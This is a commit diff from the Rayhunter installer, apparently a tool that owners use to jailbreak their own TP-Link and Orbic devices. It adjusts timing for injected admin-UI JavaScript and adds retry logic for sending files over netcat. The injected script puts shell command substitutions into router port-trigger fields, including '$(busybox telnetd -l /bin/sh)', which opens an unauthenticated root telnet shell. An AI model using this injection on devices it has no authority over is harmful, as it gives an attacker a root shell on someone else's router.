Skip to content

Commit 1aca74a

Browse files
committed
TP-Link: Space out HTTP requests a bit, retry connection for sending files
We are hitting random race conditions in the JavaScript code, try to alleviate them by sleeping 1 second between started requests and waiting until the DOM is ready. From a quick glance at the goahead binary in Ghidra, it seems like firing off two requests at the same time can actually cause a TOCTOU bug where one of the port triggers is dropped from config, see #652 Another issue is that on sluggish devices, it can happen that nc is not ready within 100ms. Fixing that with exponential backoff.
1 parent d413a76 commit 1aca74a

File tree

2 files changed

+44
-18
lines changed

2 files changed

+44
-18
lines changed

installer/src/tplink.rs

Lines changed: 20 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -281,22 +281,29 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
281281
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
282282
let mut data = BytesMut::from(data);
283283
// inject some javascript into the admin UI to get us a telnet shell.
284-
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
285-
// Intentionally register rayhunter-daemon before rayhunter-root so that we are less
286-
// likely to run into race conditions where rayhunter-root is launched, and the
287-
// installer kills the server. In practice both HTTP requests may execute concurrently
288-
// anyway.
284+
data.extend(br#";document.addEventListener("DOMContentLoaded", () => {
285+
window.rayhunterPoll = window.setInterval(() => {
289286
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
290-
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
291287
292-
// Do not use alert(), instead replace page with success message. Using alert() will
293-
// block the event loop in such a way that any background promises are blocked from
294-
// progress too. For example: The HTTP requests to register our port triggers!
295-
document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
288+
console.log("first request succeeded, stopping rayhunter poll loop");
296289
297-
// We can stop polling now, presumably both requests are already inflight.
298-
window.clearInterval(window.rayhunterPoll);
299-
}, 1000);"#);
290+
// sleep for another 1 second to give the port trigger time to register. The request is
291+
// not done yet, but has just been scheduled into the background.
292+
//
293+
// registering two port triggers at once will cause data races in the TP-Link admin UI,
294+
// and one port trigger will be dropped.
295+
296+
window.setTimeout(() => {
297+
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
298+
299+
// Do not use alert(), instead replace page with success message. Using alert() will
300+
// block the event loop in such a way that any background promises are blocked from
301+
// progress too. For example: The HTTP requests to register our port triggers!
302+
document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
303+
}, 1000);
304+
305+
}, 5000);
306+
});"#);
300307
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
301308
response.headers_mut().remove("Content-Length");
302309
}

installer/src/util.rs

Lines changed: 24 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -91,7 +91,7 @@ pub async fn telnet_send_file(
9191
payload: &[u8],
9292
wait_for_prompt: bool,
9393
) -> Result<()> {
94-
echo!("Sending file {filename} ... ");
94+
echo!("Sending file {filename}... ");
9595
let nc_output = {
9696
let filename = filename.to_owned();
9797
let handle = tokio::spawn(async move {
@@ -102,14 +102,32 @@ pub async fn telnet_send_file(
102102
)
103103
.await
104104
});
105-
// wait for nc to become available. if the installer fails with connection refused, this
106-
// likely is not high enough.
107-
sleep(Duration::from_millis(100)).await;
105+
108106
let mut addr = addr;
109107
addr.set_port(8081);
110108

109+
110+
let mut stream;
111+
let mut attempts = 0;
112+
113+
loop {
114+
// wait for nc to become available, with exponential backoff.
115+
//
116+
// if the installer fails with connection refused, this
117+
// likely is not high enough.
118+
sleep(Duration::from_millis(100 * (1 << attempts))).await;
119+
120+
stream = TcpStream::connect(addr).await;
121+
attempts += 1;
122+
if stream.is_ok() || attempts > 3 {
123+
break;
124+
}
125+
126+
echo!("attempt {attempts}... ");
127+
}
128+
111129
{
112-
let mut stream = TcpStream::connect(addr).await?;
130+
let mut stream = stream?;
113131
stream.write_all(payload).await?;
114132

115133
// if the orbic is sluggish, we need for nc to write the data to disk before
@@ -122,6 +140,7 @@ pub async fn telnet_send_file(
122140
sleep(Duration::from_millis(1000)).await;
123141

124142
// ensure that stream is dropped before we wait for nc to terminate.
143+
drop(stream);
125144
}
126145

127146
handle.await??

0 commit comments

Comments
 (0)